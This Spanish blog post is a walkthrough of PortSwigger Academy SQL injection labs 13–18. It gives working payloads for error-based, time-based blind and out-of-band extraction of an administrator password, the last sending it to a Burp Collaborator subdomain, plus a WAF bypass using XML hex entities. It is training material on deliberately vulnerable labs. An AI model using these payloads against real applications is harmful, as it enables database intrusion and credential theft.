Y llegamos al final de los laboratorios de SQL Injection de Portswigger. Aquí os traigo la solución de los últimos seis laboratorios de esta categoría. Lo próximo serán los de cross-site scripting, también conocido como XSS.
Espero que estas publicaciones sobre los laboratorios de Portswigger os están siendo de ayuda y os sirvan para comprender mejor cómo funciona este tipo de vulnerabilidades web,
Índice
- 1 Laboratorio 13: SQL injection basada en un error visible
- 2 Laboratorio 14: SQLi ciega con retrasos de tiempo
- 3 Laboratorio 15: SQLi ciega con retrasos de tiempo y recuperación de información
- 4 Laboratorio 16: SQLi ciega con interacción fuera de banda
- 5 Laboratorio 17: SQLi ciega con extracción de datos fuera de banda
- 6 Laboratorio 18: SQLi con bypass del filtro mediante XML encoding
- 7 Conclusiones y recomendaciones:
Laboratorio 13: SQL injection basada en un error visible
Este laboratorio contiene una vulnerabilidad SQL Injection. La aplicación usa una cookie de seguimiento para analíticas, y realiza una consulta SQL que contiene el valor de la cookie enviada. El resultado de la consulta SQL no se devuelve.
La base de datos contiene una tabla distinta llamada users
, con columnas llamadas username
y password.
Para resolver el laboratorio, encuentra una forma de extraer la contraseña para el usuario administrator
, y después haz login en su cuenta.
Solución:
Usando el navegador de Burp, explora la funcionalidad del laboratorio.
Ve a a la pestaña Proxy > HTTP History y busca una petición GET /
que contiene una cookie TrackingId.

En Repeater, añade una comilla simple al valor de la cookie TrackingId
y envía la petición.
TrackingId=ogAZZfxtOKUELbuJ'
En la respuesta, fíjate en el mensaje de error que aparece. Este revela la consulta SQL completa, incluyendo el valor de tu cookie. También quiere decir que tienes una cadena sin cerrar. Observa que tu inyección aparece dentro de una cadena de una sola comilla.

En la petición, añade los caracteres de comentario para comentar el resto de la consulta, incluyendo la comilla extra que está causando el error:
TrackingId=ogAZZfxtOKUELbuJ'--
Envía la petición. Confirma que ya no recibes el error. Esto sugiere que la consulta ahora es válida sintácticamente.
Adapta la consulta para incluir una subconsulta genérica SELECT
y convertir el valor devuelto a un tipo de datos int:
TrackingId=ogAZZfxtOKUELbuJ' AND CAST((SELECT 1) AS int)--
Envía la petición. Observa que ahora obtienes un error distinto diciéndote que una condición AND
debe ser una expresión booleana.

Modifica la condición de acuerdo con eso. Por ejemplo, puedes simplemente añadir un operador de comparación (=
) de esta forma:
TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT 1) AS int)--
Envía la petición. Confirma que ya no recibes el mensaje de error. Esto sugiere que la consulta es válida de nuevo.
Adapta tu sentencia genérica SELECT
para que devuelva los nombres de usuario de la base de datos:
TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT username FROM users) AS int)--
Observa que ahora recibes el mensaje de error inicial de nuevo. Fíjate que tu consulta ahora parece estar truncada debido al límite de caracteres. Como resultado, los caracteres de comentarios que añadiste para arreglar la consulta no están incluidos.
Elimina el valor original de la cookie TrackingId
para liberar algunos caracteres adicionales. Reenvía la petición.
TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)--
Fíjate que recibes un nuevo mensaje de error, el cual parece ser generado por la base de datos. Esto sugiere que la consulta fue ejecutada de forma apropiada, pero sigues obteniendo un error porque devolvió más de una fila de forma inesperada.

Modifica la consulta para devolver sólo una fila:
TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
Envía la petición. Observa que el mensaje de error ahora revela el primer nombre de usuario de la tabla users:
ERROR: invalid input syntax for type integer: “administrator”

Ahora que conoces que administrator
es el primer usuario en la tabla, modifica la consulta de nuevo para revelar su contraseña:
TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--

Haz login como administrator
usando la contraseña robada para resolver el laboratorio.
Laboratorio 14: SQLi ciega con retrasos de tiempo
Este laboratorio contiene una vulnerabilidad SQL Injection ciega. La aplicación usa una cookie de rastreo para analíticas, y realiza una consulta SQL que contiene el valor de la cookie enviada.
El resultado de la consulta SQL no se devuelve, y la aplicación no responde de forma distinta dependiendo de si la consulta devuelve alguna fila o causa un error. Sin embargo, dado que la consulta se ejecuta de forma síncrona, es posible activar retrasos de tiempo condicionales para deducir la información.
Para resolver el laboratorio, explota la vulnerabilidad SQLi para provocar un retraso de 10 segundos.
Solución:
Visita la página de la tienda y usa BurpSuite para interceptar y modificar la consulta que contiene la cookie TrackingId
.
Modifica la cookie TrackingId
, cambiándola a:
TrackingId=x’||pg_sleep(10)--
Envía la petición y observa que la aplicación tarda 10 segundos en responder.
Laboratorio 15: SQLi ciega con retrasos de tiempo y recuperación de información
Este laboratorio contiene una vulnerabilidad SQL Injection ciega. La aplicación usa una cookie de rastreo para analíticas, y realiza una consulta SQL que contiene el valor de la cookie enviada.
El resultado de la consulta SQL no se devuelve, y la aplicación no responde de forma distinta dependiendo de si la consulta devuelve filas o causa un error. Sin embargo, dado que la consulta se ejecuta de forma síncrona, es posible activar un retraso de tiempo condicional para deducir la información.
La base de datos contiene una tabla distinta llamada users
, con columnas llamadas username
y password
.
Necesitas explotar la vulnerabilidad de SQLi ciega para encontrar la contraseña del usuario administrator
.
Para resolver el laboratorio, haz login como el usuario administrator
.
Solución:
Visita la página de la tienda y usa BurpSuite para interceptar y modificar la petición que contiene la cookie TrackingId.
Modifica la cookie, cambiándola a:
TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
Verifica que la aplicación tarda 10 segundos en responder.
Ahora cámbiala a:
TrackingId=x'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
Verifica que la aplicación responde inmediatamente, sin retrasos. Esto demuestra cómo puedes probar una simple condición booleana y deducir de ella el resultado.
Cambia la cookie a:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Verifica que la condición es cierta, confirmando que existe un usuario llamado administrator
.
El siguiente paso es determinar cuántos caracteres tiene la contraseña del usuario administrator
.
Para ello, cambia el valor a:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Esta condición debería ser cierta, confirmando que la contraseña tiene una longitud superior a 1 carácter.
Envía una serie de valores de seguimiento para probar distintas longitudes para esa contraseña. Envía:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Y después:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>3)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Y así sucesivamente. Puedes hacer esto de forma manual con Burp Repeater, ya que la longitud no será demasiado grande. Cuando la condición deje de ser cierta (cuando la aplicación responda al momento sin el retraso temporal), habrás determinado la longitud de la contraseña, la cuál, de hecho, es de 20 caracteres.
Tras determinar la longitud, el siguiente paso es probar los distintos caracteres para cada posición para determinar su valor. Esto implica una cantidad de peticiones mucho mayor, por lo que necesitarás usar Burp Intruder. Envía la petición con la que estás trabajando a Burp Intruder usando el menú contextual.
En la pestaña Positions de Burp Intruder, cambiar el valor de la cookie a:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Esta expresión hace uso de la función SUBSTRING()
para extraer un carácter de la contraseña y probarlo frente a un valor específico. Nuestro ataque iterará a lo largo de cada posición y cada posible valor, probando cada uno por turnos.
Sitúa los marcadores de posición del payload alrededor de la letra a
en el valor de la cookie. Para ello, simplemente selecciona la a
, y haz clic en el botón “Add §”. Deberías ver el siguiente valor de la cookie (fíjate en los marcadores de posición del payload):
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Para probar el carácter en cada posición, necesitarás enviar los payloads adecuados para la posición que hayas definido. Puedes asumir que la contraseña sólo contiene caracteres alfanuméricos en minúsculas. Ve a la pestaña de Payloads, comprueba que “Simple list” está seleccionada, y bajo “Payload settings” añade los payloads en el rango a – z y 0 – 9. Puedes seleccionarlos fácilmente usando el desplegable “Add from list”.
Para poder decir que se ha enviado el carácter correcto, necesitarás monitorizar el tiempo que tarda la aplicación en responder a cada petición. Para que sea totalmente fiable, necesitas configurar el ataque Intruder para que notifique las peticiones en un solo hilo. Para ello, ve a la pestaña “Resource pool” y añade el ataque a una reserva de recursos con “Maximum concurrent requests” puesto en 1.
Lanza el ataque clicando sobre el botón “Start attack” o seleccionando “Start attack” en el menú de Intruder.
Burp Intruder monitoriza el tiempo que tarda la respuesta de la aplicación en recibirse, pero por defecto no devolverá esta información. Para verla, ve al menú “Columns” y marca la casilla “Response received”.
Revisa el resultado del ataque para encontrar el valor del carácter para la primera posición. Deberías ver una columna en los resultados llamada “Response received”. Generalmente contendrá un número bajo, representando el número de milisegundos que ha tardado la aplicación en responder. Una de las filas debería tener un número mucho mayor en esta columna, alrededor de los 10000 milisegundos. El payload que se muestra en esa fila será el carácter para la primera posición.
Ahora, simplemente relanza el ataque para cada una de las otras posiciones en la contraseña, para determinar sus valores. Para ello, vuelve a la ventana principal de Burp y en la pestaña Positions de Burp Intruder cambia la posición de 1 a 2. Deberías ver el siguiente valor para la cookie:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,2,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Lanza el ataque modificado y revisa el resultado, tomando nota del carácter para la segunda posición.
Continúa el proceso probando las posiciones 3, 4 y siguientes, hasta que tengas la contraseña completa.
En el navegador, haz clic sobre “My account” para abrir la página de login. Usa la contraseña para hacer login como usuario administrator
.
Laboratorio 16: SQLi ciega con interacción fuera de banda
Este laboratorio contiene una vulnerabilidad de SQL Injection ciega. La aplicación usa una cookie de rastreo para analíticas, y realiza una consulta SQL que contiene el valor de la cookie enviada.
La consulta SQL se ejecuta de forma asíncrona y no tiene efecto en la respuesta de la aplicación. Sin embargo, puedes activar una interacción fuera de banda con un dominio externo.
Para resolver el laboratorio, explota la vulnerabilidad SQLi para causar una búsqueda de DNS a Burp Collaborator.
Nota:
Para prevenir que la Academia se use para atacar a terceros, nuestro cortafuegos bloquea las interacciones entre laboratorios y sistemas externos arbitrarios. Para resolver el laboratorio, debes usar el servidor público por defecto de Burp Collaborator.
Solución:
Visita la página de la tienda y usa BurpSuite para interceptar y modificar la petición que contiene la cookie TrackingId
.
Modifica la cookie, cambiándola a un payload que active una interacción con el servidor Collaborator. Por ejemplo, puedes combinar SQLi con técnicas básicas de XXE como sigue:
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
Haz clic derecho y selecciona “Insert Collaborator payload” para insertar un subdominio de Burp Collaborator donde se indica en la cookie modificada.
La solución descrita aquí es suficiente para activar una búsqueda de DNS y resolver el laboratorio. En la misma situación en el mundo real, deberías usar Burp Collaborator para verificar que tu payload efectivamente ha activado una búsqueda DNS y explotar potencialmente este comportamiento para extraer datos sensibles de la aplicación. Volveremos sobre esta técnica en el siguiente laboratorio.
Laboratorio 17: SQLi ciega con extracción de datos fuera de banda
Este laboratorio contiene una vulnerabilidad de SQL Injection ciega. La aplicación usa una cookie de rastreo para analíticas, y realiza una consulta SQL que contiene el valor de la cookie enviada.
La consulta SQL se ejecuta de forma asíncrona y no tiene efecto en la respuesta de la aplicación. Sin embargo, puedes activar interacciones fuera de banda con un dominio externo.
La base de datos tiene una tabla distinta llamada users
, con columnas llamadas username
y password
. Necesitas explotar la vulnerabilidad de SQLi ciega para encontrar la contraseña del usuario administrator
.
Para resolverlo, haz login como el usuario administrator
.
Solución:
Visita la página de la tienda y usa BurpSuite para interceptar y modificar la petición que contiene la cookie TrackingId
.
Modifica la cookie, cambiándola a un payload que filtre la contraseña del administrador en una interacción con el servidor de Collaborator. Por ejemplo, puedes combinar SQLi con técnicas básicas de XXE así:
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
Haz clic derecho y selecciona “Insert Collaborator payload” para insertar un subdominio de Burp Collaborator donde se indica en la cookie modificada y envía la petición.
Ve a la pestaña de Collaborator y haz clic en “Poll now”. Si no ves ninguna interacción listada, espera unos segundos y prueba de nuevo, ya que la consulta del lado del servidor se ejecuta de forma asíncrona.
Deberías poder ver algunas interacciones DNS y HTTP que se han iniciado por parte de la aplicación como resultado del payload. La contraseña para administrator
debería aparecer en el subdominio de la interacción, y puedes verlo en la pestaña Collaborator. Para interacciones DNS, el nombre completo de dominio que fue buscado se muestra en la pestaña Descripción. Para interacciones HTTP, el nombre completo de dominio se muestra en la cabecera Host en la pestaña de la petición a Collaborator.
En el navegador, haz clic en “My account” para abrir la página de login. Usa la contraseña encontrada para hacer login como el usuario administrator
.
Laboratorio 18: SQLi con bypass del filtro mediante XML encoding
Este laboratorio contiene una vulnerabilidad SQL Injection en su característica de control de stock. El resultado de la consulta se devuelve en la respuesta de la aplicación, por lo que puedes usar un ataque UNION para recuperar datos de otras tablas.
La base de datos contiene una tabla users
, la cual contiene los nombres de usuario y contraseñas de los usuarios registrados. Para resolver el laboratorio, realiza un ataque de inyección SQL para recuperar las credenciales del usuario admin, y después entra en su cuenta.
Pista:
Un firewall de aplicaciones web (WAF) bloqueará las peticiones que contengan signos obvios de un ataque SQLi. Necesitarás encontrar una forma de ofuscar tu consulta maliciosa para saltarte el filtro. Recomendamos usar la extensión Hackvertor para ello.
Solución:
Identifica la vulnerabilidad:
Observa que la característica de comprobación de stocks envía el productId
y storeId
a la aplicación en formato XML.
Envía la petición POST /product/stock
a Burp Repeater.
En Repeater, investiga storeId
para ver si tu entrada se evalúa. Por ejemplo, intenta reemplazar el ID con expresiones matemáticas que evalúen a otros IDs potenciales, por ejemplo:
<storeId>1+1</storeId>
Observa que tu entrada parece ser evaluada por la aplicación, devolviendo el stock de tiendas distintas.

Prueba a determinar el número de columnas devueltas por la consulta original añadiendo una sentencia UNION SELECT
al ID de la tienda original:
<storeId>1 UNION SELECT NULL</storeId>
Observa que tu petición ha sido bloqueada debido a que ha sido catalogada como un ataque potencial.

Saltarse el WAF:
Como estás inyectando a XML, prueba a ofuscar tu payload usando entidades XML. Una forma de hacerlo es usando la extensión Hackvertor. Sencillamente, resalta tu entrada, clic derecho y selecciona Extensions > Hackvertor > Encode > dec_entities/hex_entities.
Reenvía la petición y fíjate que ahora recibes una respuesta normal de la aplicación. Esto sugiere que te has saltado con éxito el WAF.
Elabora y explota:
Continúa donde lo dejaste y deduce que la consulta devuelve una sola columna. Cuando pruebas a devolver más de una columna, la aplicación devuelve 0 units
, lo que implica un error.

Como sólo puedes devolver una columna, necesitas concatenar los nombres de usuario recuperados y las contraseñas, por ejemplo:
<storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities></storeId>
Envía esta consulta y observa que obtienes con éxito los nombres de usuario y contraseñas de la base de datos, separados por un carácter ~
.

Usa las credenciales del administrador para hacer login y resolver el laboratorio.
Conclusiones y recomendaciones:
Como habéis podido observar en estas tres últimas publicaciones, el lenguaje SQL en bases de datos es muy importante, por lo que os recomiendo estudiar al respecto para poder aprender a realizar mejores inyecciones SQL.
Os dejo por aquí unas recomendaciones de libros sobre la materia que creo que os pueden ser útiles.
Y próximamente… XSS